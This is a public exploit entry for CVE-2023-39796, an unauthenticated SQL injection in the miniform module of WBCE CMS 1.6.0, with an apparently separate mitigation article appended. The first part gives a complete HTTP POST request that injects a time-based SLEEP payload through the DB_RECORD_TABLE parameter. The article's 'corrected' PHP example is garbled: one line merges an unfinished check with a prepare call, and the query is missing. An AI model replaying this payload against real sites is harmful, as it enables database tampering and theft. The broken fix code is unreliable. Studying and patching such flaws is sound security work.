WBCE 1.6.0 - Unauthenticated SQL injection
# Exploit Title: |Unauthenticated SQL injection in WBCE 1.6.0
# Date: 15.11.2023
# Exploit Author: young pope
# Vendor Homepage: https://github.com/WBCE/WBCE_CMS
# Software Link: https://github.com/WBCE/WBCE_CMS/archive/refs/tags/1.6.0.zip
# Version: 1.6.0
# Tested on: Kali linux
# CVE : CVE-2023-39796
There is an sql injection vulnerability in *miniform* module which is a
default module installed in the *WBCE* cms. It is an unauthenticated
sqli so anyone could access it and takeover the whole database.
In file /modules/miniform/ajax_delete_message.php there is no
authentication check. On line |40| in this file, there is a |DELETE|
query that is vulnerable, an attacker could jump from the query using
tick sign - ```.
Function |addslashes()|
(https://www.php.net/manual/en/function.addslashes.php) escapes only
these characters and not a tick sign:
* single quote (')
* double quote (")
* backslash ()
* NUL (the NUL byte
The DB_RECORD_TABLE parameter is vulnerable.
If an unauthenticated attacker send this request:
```
POST /modules/miniform/ajax_delete_message.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 162
Accept: */*
Accept-Language: en
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
action=delete&DB_RECORD_TABLE=miniform_data`+WHERE+1%3d1+AND+(SELECT+1+FROM+(SELECT(SLEEP(6)))a)--+&iRecordID=1&DB_COLUMN=message_id&MODULE=&purpose=delete_record
```
The response is received after 6s.
Reference links:
* https://nvd.nist.gov/vuln/detail/CVE-2023-39796
* https://forum.wbce.org/viewtopic.php?pid=42046#p42046
* https://github.com/WBCE/WBCE_CMS/releases/tag/1.6.1
* https://pastebin.com/PBw5AvGp WBCE 1.6.0 — Unauthenticated SQL Injection (CVE-2023-39796)
This article explains an unauthenticated SQL injection vulnerability found in the WBCE CMS version 1.6.0 affecting the bundled miniform module. It covers the technical root cause, impact, safe detection approaches, and practical mitigation and remediation steps for administrators and developers.
Summary
- Vulnerability: Unauthenticated SQL injection in the miniform module.
- Product: WBCE CMS (WBCE_CMS) — version 1.6.0.
- CVE: CVE-2023-39796.
- Impact: Remote, unauthenticated attacker can manipulate SQL queries and potentially exfiltrate or modify the database.
- Status: Fixed in later releases (upgrade recommended).
Affected component and high-level root cause
The vulnerable code resides in a miniform AJAX handler that performs DELETE operations using user-supplied POST parameters. The code accepted a table identifier and other inputs directly (or with insufficient escaping) and executed a SQL DELETE without checking authentication or properly validating/whitelisting identifiers. The use of addslashes() (or similar escaping) was relied upon, which does not properly protect against all SQL injection vectors — in particular the code allowed characters (such as backtick or other identifier-related characters) that let an attacker break out of the intended identifier context.
Why addslashes() was insufficient
addslashes() escapes only single-quote, double-quote, backslash and NUL. It does not safely protect identifier names (table or column names) and cannot replace parameterized queries. Identifier injection (manipulating table or column names) cannot be prevented by simple quoting functions; identifiers must be validated against an explicit whitelist or handled through logic that never accepts raw identifiers from untrusted users.
Potential impact
- Unauthenticated attackers can craft requests that change the SQL DELETE query semantics.
- Possible outcomes include deletion of arbitrary rows, disclosure via injection techniques, or escalation to full database compromise depending on DB privileges.
- Because the endpoint lacked authentication checks, any remote user could attempt exploitation without prior access.
Safe detection guidance (non-actionable)
If you are a site administrator, you can determine whether the endpoint is vulnerable without performing intrusive attacks:
- Confirm presence of the file /modules/miniform/ajax_delete_message.php or equivalent endpoint and whether it accepts DB_RECORD_TABLE (or similarly named) parameters via POST.
- Review source code to check for: missing authentication checks, construction of SQL queries by concatenating POST values, and use of weak escaping functions instead of parameterized statements or whitelists.
- Run an up-to-date vulnerability scanner or source code analysis tool to detect dangerous string concatenation and lack of authorization checks. Prefer scanners that only perform non-invasive checks on production sites.
Example: vulnerable pattern (illustrative, sanitized)
/* Simplified, illustrative pseudocode of the vulnerable pattern */$table = $_POST['DB_RECORD_TABLE']; // user-supplied table identifier
$id = $_POST['iRecordID']; // user-supplied record identifier
// Bad practice: concatenating user input into SQL
$sql = "DELETE FROM " . $table . " WHERE message_id = '" . addslashes($id) . "'";
$db->query($sql);
Explanation: This pseudocode shows the pattern that leads to identifier/SQL injection. Passing raw table names from POST and concatenating into SQL lets an attacker manipulate the statement. The use of addslashes() here only affects the quoted value, and does nothing to validate the table name; identifier-level injection remains possible.
Safe coding fixes
Key principles to fix the issue:
- Never accept raw table or column names from untrusted input. Use a whitelist of allowed identifiers or map request parameters to known internal identifiers.
- Always enforce authentication and authorization checks on any endpoint that modifies data.
- Use parameterized queries (prepared statements) for data values. Note: prepared statements cannot bind table or column names — that is why whitelisting is required for identifiers.
- Use a DB user with least privilege: do not give the web application unnecessary rights (e.g., global DROP or other admin rights).
Corrected PHP example (recommended approach)
<?php
// Example safe pattern using PDO, whitelist and authentication check
// 1) Ensure the user is authenticated and authorized
if (!is_user_logged_in() || !current_user_can('delete_miniform')) {
http_response_code(403);
exit('Forbidden');
}
// 2) Map allowed table identifiers to real table names (whitelist)
$allowed_tables = [
'miniform_data' => 'miniform_data',
// add other module-specific table keys as needed
];
$requested_key = $_POST['DB_RECORD_TABLE'] ?? '';
if (!array_key_exists($requested_key, $allowed_tables)) {
http_response_code(400);
exit('Invalid table');
}
$table = $allowed_tables[$requested_key];
// 3) Validate and cast record id
$recordId = isset($_POST['iRecordID']) ? (int)$_POST['iRecordID'] : 0;
if ($recordId prepare($sql);
$stmt->execute([':id' => $recordId]);
echo 'OK';
?>
Explanation: This corrected example demonstrates:
- Authentication/authorization check before performing any destructive action.
- Whitelisting of allowed table names; the code translates a supplied key to a known table name and rejects unknown keys.
- Type-casting the record identifier to integer to avoid injection via values.
- Using a prepared statement with a bound parameter for the record id to safely handle user-provided values.
Additional hardening recommendations
- Restrict access to administrative AJAX endpoints (e.g., require CSRF tokens and authenticated sessions).
- Implement server-side logging and alerting for suspicious parameter values or repeated requests to sensitive endpoints.
- Use a Web Application Firewall (WAF) as an additional layer of defense to detect unusual SQL patterns — but do not rely on it as the primary fix.
- Ensure the DB user used by the application has the minimum privileges necessary for normal operation.
- Perform regular code reviews focusing on dynamic SQL construction and untrusted identifiers.
Patching and incident response
| Affected version | Recommended action |
|---|---|
| WBCE 1.6.0 | Upgrade to patched release (or apply vendor-provided patch). Immediately audit the application and database for signs of compromise if the endpoint was exposed. |
If you suspect exploitation:
- Inspect webserver logs and database logs for unusual queries or requests to the affected endpoint.
- Check for unexpected data modifications or anomalous user accounts.
- Rotate credentials used by the application for database access and review privileges.
- Restore from known-good backups if data integrity is in doubt and follow your incident response process.
References & further reading
- Vendor/maintainer releases and security advisories (upgrade to the next patched WBCE release).
- OWASP guidance on SQL injection prevention: use parameterized queries, input validation, and least privilege.
- General secure coding guidance for PHP and PDO prepared statements.
Key takeaways
- The vulnerability demonstrates two simultaneous failures: lack of authentication/authorization and unsafe acceptance of identifier values from untrusted input.
- Fixes require code changes (whitelisting identifiers, authentication checks, prepared statements) and operational changes (patching, least-privilege accounts, monitoring).
- Always prefer design that never trusts client-provided identifiers or constructs SQL from raw input.